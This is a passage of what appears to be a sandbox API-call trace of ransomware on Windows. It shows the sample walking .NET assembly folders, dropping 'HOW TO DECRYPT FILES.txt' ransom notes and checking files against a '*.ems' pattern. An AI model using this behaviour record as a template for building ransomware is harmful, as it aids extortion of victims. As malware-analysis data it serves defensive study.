nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0101.472] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.472] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.472] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\*.*") returned="*.*" [0101.473] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35" [0101.473] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa2225d54, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa2225d54, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.473] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa2225d54, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa2225d54, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.473] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.473] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2994cde, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2994cde, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2994cde, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.dll", cAlternateFileName="")) returned 1 [0101.473] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.473] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SecurityAuditPoliciesSnapIn.dll") returned -1 [0101.473] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SecurityAuditPoliciesSnapIn.dll") returned -1 [0101.473] lstrcmpiA (lpString1="", lpString2="SecurityAuditPoliciesSnapIn.dll") returned -1 [0101.473] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.474] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\" [0101.474] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.474] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.474] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\securityauditpoliciessnapin\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.474] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\securityauditpoliciessnapin\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.478] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.478] CloseHandle (hObject=0x90) returned 1 [0101.479] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\", lpString2="SecurityAuditPoliciesSnapIn.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\SecurityAuditPoliciesSnapIn.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\SecurityAuditPoliciesSnapIn.dll" [0101.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\6.1.0.0__31bf3856ad364e35\\SecurityAuditPoliciesSnapIn.dll", pszSpec="*.ems") returned 0 [0101.479] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2994cde, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2994cde, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2994cde, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.dll", cAlternateFileName="")) returned 0 [0101.479] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.479] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa2225d54, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa2225d54, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0101.479] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.479] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650053, dwReserved1=0x750063, cFileName="SecurityAuditPoliciesSnapIn.resources", cAlternateFileName="SECURI~1.RES")) returned 1 [0101.479] lstrcmpA (lpString1=".", lpString2="SecurityAuditPoliciesSnapIn.resources") returned -1 [0101.479] lstrcmpA (lpString1="..", lpString2="SecurityAuditPoliciesSnapIn.resources") returned -1 [0101.480] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.480] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="SecurityAuditPoliciesSnapIn.resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources" [0101.480] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.481] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.481] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.481] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.481] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.481] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 1 [0101.481] lstrcmpA (lpString1=".", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0101.481] lstrcmpA (lpString1="..", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0101.481] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\*.*") returned="*.*" [0101.481] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\", lpString2="6.1.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35" [0101.481] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.482] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.482] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.482] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.482] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.482] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.resources.dll", cAlternateFileName="")) returned 1 [0101.482] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.482] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SecurityAuditPoliciesSnapIn.resources.dll") returned -1 [0101.482] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SecurityAuditPoliciesSnapIn.resources.dll") returned -1 [0101.482] lstrcmpiA (lpString1="", lpString2="SecurityAuditPoliciesSnapIn.resources.dll") returned -1 [0101.482] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0101.482] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\" [0101.482] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="" [0101.482] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.482] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\securityauditpoliciessnapin.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.482] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\securityauditpoliciessnapin.resources\\6.1.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.485] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.485] CloseHandle (hObject=0x90) returned 1 [0101.485] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\", lpString2="SecurityAuditPoliciesSnapIn.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\SecurityAuditPoliciesSnapIn.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\SecurityAuditPoliciesSnapIn.resources.dll" [0101.486] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\SecurityAuditPoliciesSnapIn.resources.dll", pszSpec="*.ems") returned 0 [0101.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.resources.dll", cAlternateFileName="")) returned 0 [0101.486] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.486] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 0 [0101.486] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.486] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650053, dwReserved1=0x750063, cFileName="Sentinel.v3.5Client", cAlternateFileName="SENTIN~1.5CL")) returned 1 [0101.486] lstrcmpA (lpString1=".", lpString2="Sentinel.v3.5Client") returned -1 [0101.486] lstrcmpA (lpString1="..", lpString2="Sentinel.v3.5Client") returned -1 [0101.487] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.487] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Sentinel.v3.5Client" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client") returned="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client" [0101.487] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.488] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.488] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.488] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.488] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.488] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.5.0.0__b03f5f7f11d50a3a", cAlternateFileName="350~1.0__")) returned 1 [0101.488] lstrcmpA (lpString1=".", lpString2="3.5.0.0__b03f5f7f11d50a3a") returned -1 [0101.488] lstrcmpA (lpString1="..", lpString2="3.5.0.0__b03f5f7f11d50a3a") returned -1 [0101.488] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\*.*") returned="*.*" [0101.488] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\", lpString2="3.5.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a" [0101.488] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.489] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.489] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.489] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.489] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.489] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291775b2, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x291775b2, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x8e6a149c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Sentinel.v3.5Client.dll", cAlternateFileName="")) returned 1 [0101.489] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.489] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Sentinel.v3.5Client.dll") returned -1 [0101.489] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Sentinel.v3.5Client.dll") returned -1 [0101.489] lstrcmpiA (lpString1="", lpString2="Sentinel.v3.5Client.dll") returned -1 [0101.489] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.489] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\" [0101.489] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\") returned="" [0101.489] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Sentinel.v3.5Client\\3.5.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0101.489] GetFileAttributesA 